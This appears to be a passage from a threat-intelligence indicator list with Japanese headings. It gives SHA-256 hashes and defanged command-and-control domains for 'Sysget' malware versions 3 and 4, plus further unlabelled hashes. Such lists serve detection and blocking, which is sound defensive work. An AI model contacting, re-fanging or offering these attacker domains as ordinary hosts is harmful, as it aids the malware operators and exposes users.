d91439c8faa0c42162ea9a6d3c282d0e76641a31f5f2fbc58315df9c0b90059c
89d8d52c09dc09aeb41b1e9fafeacf1c038912d8c6b75ad4ef556707b15641ff
6c1d56cb16f6342e01f4ebfc063db2244aef16d0a248332348dcdb31244d32f2
9c66232061fbb08088a3b680b4d0bffbbce1ce01d0ce5f0c4d8bf17f42d45682
b138ea2e9b78568ebd9d71c1eb0e31f9cf8bc41cd5919f6522ef498ffcc8762a
8830400c6a6d956309ac9bcbcceee2d27ba8c89f9d89f4484aba7d5680791459
bda66f13202cef8cfb23f36ac0aee5c23f82930e1f38e81ba807f5c4e46128e3
e8197e711018afd25a32dc364a9155c7e2a0c98b3924dc5f67b8cd2df16406ff
e9c0838e2433a86bc2dec56378bd59627d6332ffb1aec252f5117938d00d9f74
c63685b2497e384885e4b4649428d665692e8e6981dad688e8543110174f853b
2c9c2bfea64dd95495703fcec59ad4cf74c43056b40ed96d40db9b919cfd050b
94850525ea9467ae772c657c3b8c72663eaa28b2c995b22a12b09e4cacecad6d
e8bd20e3d8491497ca2d6878b41fb7be67abb97ee272ef8b6735faa6acd67777

C2ドメイン

hello.newtaiwan[.]top
bullskingdom[.]com
mail.googleusa[.]top
www.modelinfos[.]com
modelinfos[.]com
www.sanspozone[.]com

Sysgetバージョン3

f9a1607cdcfd83555d2b3f4f539d3dc301d307e462a999484d7adb1f1eb9edf6
7f286fbc39746aa8feeefc88006bedd83a3176d2235e381354c3ea24fe33d21c
3b554ef43d9f3e70ead605ed38b5e66c0b8c0b9fc8df16997defa8e52824a2a6
8d7406f4d5759574416b8e443dd9d9cd6e24b5e39b1f5bc679e4a1ad54d409c6
edf32cb7aad7ae6f545f7d9f11e14a8899ab0ac51b224ed36cfc0d367daf5785
db19b9062063302d938bae51fe332f49134dc2e1947d980c82e778e9d7ca0616
cde217acb6cfe20948b37b16769164c5f384452e802759eaabcfa1946ea9e18b
9bee4f8674ee067159675f66ca8d940282b55fd1f71b8bc2aa32795fd55cd17e
39539eb972de4e5fe525b3226f679c94476dfc88b2032c70e5d7b66058619075
c45145ca9af7f21fff95c52726ff82595c9845b8e9d0dbf93ffe98b7a6fa8ee9
55325e9fccbdada83279e915e5aeb60d7b117f154fa2c3a38ec686d2552b1ebc
2c7d29da1b5468b49a4aef31eee6757dc5c3627bf2fbfb8e01dec12aed34736a
16dc75cf16d582eac6cbbe67b048a31fffa2fb525a76c5794dad7d751793c410
91eee738f99174461b9a4085ea70ddafc0997790e7e5d6d07704dcbbc72dc8bf
4a702ffbf01913cc3981d9802c075160dfd1beed3ba0681153d17623f781f53f
e8bed52c58759e715d2a00bdb8a69e7e93def8d4f83d95986da21a549f4d51c5
ed5598716de2129915f427065f0a22f425f4087584e1fa176c6de6ad141889d1
adc86af1c03081482fe9ba9d8a8ae875d7217433164d54e40603e422451a2b90
f0540148768247ed001f3894cdfa52d8e40b17d38df0f97e040a49baa3f5c92e
ce38a6e4f15b9986474c5d7c8a6e8b0826330f0135e1da087aae9eab60ea667a
5c4e98922e6981cf2a801674d7e79a573ebcdc9ebc875ef929511f585b9c4781
4880b43ddc8466d910b7b49b6779970c38ce095983cad110fa924b41f249f898
76b6f0359a3380943fece13033b79dc586706b8348a270ac71b589a5fd5790a4
feab16570c11ec713cfa952457502c7edd21643129c846609cb13cdc0ae4671c
ed9ca7c06aac7525da5af3d1806b32eeb1c1d8f14cc31382ca52a14ed62f00a9
a3aa4b3b3471b0bb5b2f61cbc8a94edef4988436e0bc55e9503173c836fb57a3
29ee56ca66187ece41c1525ad27969a4b850a45815057a31acee7cc76e970909
65201380443210518621da9feb45756eac31213a21a81583cc158f8f65d50626
cccb906d06aef1e33d12b8b09c233e575482228d40ac17232acad2557da4e53b

C2ドメイン 

gtoimage[.]com
trend.gogolekr.com
www.bestfiles[.]top

Sysgetバージョン4

2ac8bc678e5fa3e87d34aee06d2cd56ab8e0ed04cd236cc9d4c5e0fa6d303fa3
8dc539e3d37ccd522c594dc7378c32e5b9deeffb37e7a7a5e9a96b9a23df398e

C2ドメイン

www.sanseitime[.]com